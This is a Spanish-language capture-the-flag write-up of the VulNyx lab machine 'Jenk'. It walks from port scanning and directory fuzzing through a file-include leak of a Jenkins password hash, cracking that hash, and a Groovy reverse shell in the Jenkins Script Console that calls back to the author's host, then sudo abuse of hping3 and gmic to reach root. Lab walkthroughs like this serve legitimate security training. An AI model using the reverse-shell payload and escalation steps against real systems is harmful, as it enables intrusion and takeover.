VulNyx - Jenk

logo

  • LFI - Data Leak
  • Brute Force Hash
  • Abuse Groovy Script console - Jenkins
  • Abusing hping3 Binary
  • Abusing gmic Binary

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.78

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.78

22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
8080/tcp open  http    Jetty 10.0.13
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.13)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

HTTP TCP - 8080

jenkins_login

Empiezo realizando fuerza bruta de directorios al puerto 80.

❯ wfuzz -c -t 200 --hc=404 --hl=368 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.78/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.78/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000003406:   301        9 L      28 W       314 Ch      "webcams" 

Navego hacia /webcams y veo lo siguiente:

webcams

Cam1

cam1

Cam2

cam2

Después de realizar varias pruebas me quedé atascado en este punto, a pesar de tener una pista delante de mis narices he tenido que pedir ayuda al sr d4t4s3c.

Al abrir los enlaces de cam list se puede apreciar que el servidor hace un include a la extensión .xml, eso significa que no hace falta escribir la extensión .xml porque ya lo hace el servidor.

Ejemplo sin extensión .xml.

includexml

Ejemplo con extensión .xml, me devuelve un error porque no encuentra el archivo.

includexml2

Sabiendo esto el objetivo es leer algún archivo sensible que sea útil para la intrusión de la máquina, siguiendo los pasos de esta web y esta otra encuentro la ruta /var/lib/jenkins/users/users.

users

Si visualizo el código fuente de la página veo en la etiqueta string el directorio de configuración del usuario andrew.

users_scode

Navego al nuevo directorio pero apuntando al fichero config ya que este archivo contiene datos sensibles del usuario andrew.

user_config

En el código fuente encuentro un un hash en la etiqueta passwordHash.

user_config_scode

Creo el fichero hash con el hash de andrew y lo crackeo con john.

❯ echo "$2a$10$V.wxGyfowdGEVLvpQt5DROedmKKUp11g922/V.tb1xmi8eYe7rmzu" > hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
a*****1

Finalmente accedo al panel de andrew.

dashboard

Me voy a Panel de Control/Administrar Jenkins/Script Console.

scriptConsole

Pego el siguiente script para mandarme una shell.

String host="192.168.1.18";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Obtengo la shell como usuario jenkins.

❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.18] from jenk.nyx [192.168.1.78] 49150
id
uid=106(jenkins) gid=112(jenkins) grupos=112(jenkins)
script /dev/null -c bash
Script iniciado, el fichero de anotación de salida es '/dev/null'.
jenkins@jenk:~$ 

Lanzo un cat al fichero passwd para ver los usuarios del sistema.

jenkins@jenk:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash
andrew:x:1000:1000:andrew,,,:/home/andrew:/bin/bash

Enumero permisos de sudo.

jenkins@jenk:~$ sudo -l
Matching Defaults entries for jenkins on jenk:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jenkins may run the following commands on jenk:
    (andrew) NOPASSWD: /usr/sbin/hping3

Consulto el binario hping3 en gtfobins con esta herramienta herramienta gtfobins-cli.

gtfobins-hping3

Paso de jenkins a andrew de la siguiente forma.

jenkins@jenk:~$ sudo -u andrew /usr/sbin/hping3 
hping3> /bin/bash
andrew@jenk:/var/lib/jenkins$ id
uid=1000(andrew) gid=1000(andrew) grupos=1000(andrew)

Enumero de nuevo permisos de sudo.

andrew@jenk:~$ sudo -l
Matching Defaults entries for andrew on jenk:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User andrew may run the following commands on jenk:
    (root) NOPASSWD: /usr/bin/gmic

Después de varios intentos fallidos de obtener el root, he tenido que pedir ayuda al sr d4t4s3c me ha facilitado este enlace para consultar el manual completo del gmic, en este manual he encontrado lo siguiente:

man-gmic

Pruebo la flag -exec con el comando id y veo que soy root.

andrew@jenk:~$ sudo /usr/bin/gmic -exec id
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'id' in verbose mode.
uid=0(root) gid=0(root) grupos=0(root)

Obtengo el root de la siguiente forma.

andrew@jenk:~$ sudo /usr/bin/gmic -exec bash
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'bash' in verbose mode.
root@jenk:/home/andrew# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Jenk.

Saludos!